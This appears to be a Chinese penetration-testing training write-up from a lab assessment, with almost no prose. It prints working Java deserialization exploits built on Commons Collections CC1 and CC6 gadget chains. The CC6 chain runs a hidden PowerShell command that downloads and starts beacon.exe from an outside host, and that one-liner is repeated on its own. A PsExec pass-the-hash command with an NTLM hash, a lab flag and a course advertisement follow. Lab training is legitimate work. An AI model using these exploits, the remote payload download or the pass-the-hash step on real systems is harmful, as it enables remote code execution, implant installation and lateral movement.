0考核介绍

• web：php代码审计 、java反序列化漏洞利用等。

• 内网：隧道应用、横向渗透、域渗透等 。

1前言

Id=1909566142Password=8bi88d

public class cc1 {    public static void main(String[] args) throws Exception{        Transformer[] transformers = new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[]                        {String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),                new InvokerTransformer("invoke", new Class[]                        {Object.class, Object[].class}, new Object[]{null, new Object[0]}),                new InvokerTransformer("exec", new Class[]{String.class},                        new Object[]{"calc.exe"}),        };        Transformer transformerChain = new                ChainedTransformer(transformers);        Map lazyMap = LazyMap.decorate(new HashMap(), new                ConstantTransformer(1));        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"moonsec");        HashMap hashMap= new HashMap<>();        hashMap.put(tiedMapEntry,"aaa");        lazyMap.remove("moonsec");        Class c = LazyMap.class;        Field factoryField =c.getDeclaredField("factory");        factoryField.setAccessible(true);        factoryField.set(lazyMap,transformerChain);        serialize(hashMap);    }   public static void serialize(Object obj) throws IOException, ClassNotFoundException {        System.out.println("================[ Socket Start ]===================");        Socket socket = new Socket(InetAddress.getByName("127.0.0.1"), 9999);        ObjectOutputStream oos = new ObjectOutputStream(socket.getOutputStream());// 1. 创建Socket序列化流        oos.writeObject(obj);//发送Socket序列化流        oos.close();//关闭    }//这里主要是与服务端通信发送序列化流    }

package sec;
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.InetAddress;import java.net.Socket;import java.util.HashMap;import java.util.Map;
public class cc6 {    public static void main(String[] args) throws Exception {        Transformer[] transformers = new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://192.168.22.152:8001/beacon.exe','beacon.exe');start-process beacon.exe"}),        };        Transformer transformerChain = new ChainedTransformer(transformers);        Map lazyMap = LazyMap.decorate(new HashMap(), new ConstantTransformer(1));        TiedMapEntry tiedMapEntry=new  TiedMapEntry(lazyMap,"key");        HashMap hashMap=new HashMap<>();        hashMap.put(tiedMapEntry,"value");        lazyMap.remove("key");        Class c = LazyMap.class;        Field  factoryfield = c.getDeclaredField("factory");        factoryfield.setAccessible(true);        factoryfield.set(lazyMap,transformerChain);
        serialize(hashMap);        //unserialize();    }
    public static void serialize(Object obj) throws Exception {        ObjectOutputStream outputStream = new ObjectOutputStream( new FileOutputStream("12.bin"));//创建序列化流        outputStream.writeObject(obj);//将序列化流写入12.bin文件        outputStream.close();           }
    public static void unserialize() throws  Exception{        ObjectInputStream inputStream = new ObjectInputStream( new FileInputStream("7.bin"));// 1.创建反序列化流        Object obj = inputStream.readObject();//读取反序列流利用cc6链执行命令
    }}

powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://192.168.22.152/beacon.exe','beacon.exe');start-process beacon.exe

PsExec.exe aad3b435b51404eeaad3b435b51404ee:66120f7b66195b694faeabc4e3b6752d  vsmoon.com/[email protected]10.10.137

flag: mooonsec_flag{moonsec-8aff4877eb76417460c0fc7f84b32566}

2总结：

5关注公众号

公众号长期更新安全类文章，关注公众号，以便下次轻松查阅

觉得文章对你有帮助 请转发 点赞 收藏

需要渗透测试培训

扫一扫添加微信咨询

课程内容点击了解

暗月渗透测试课程更新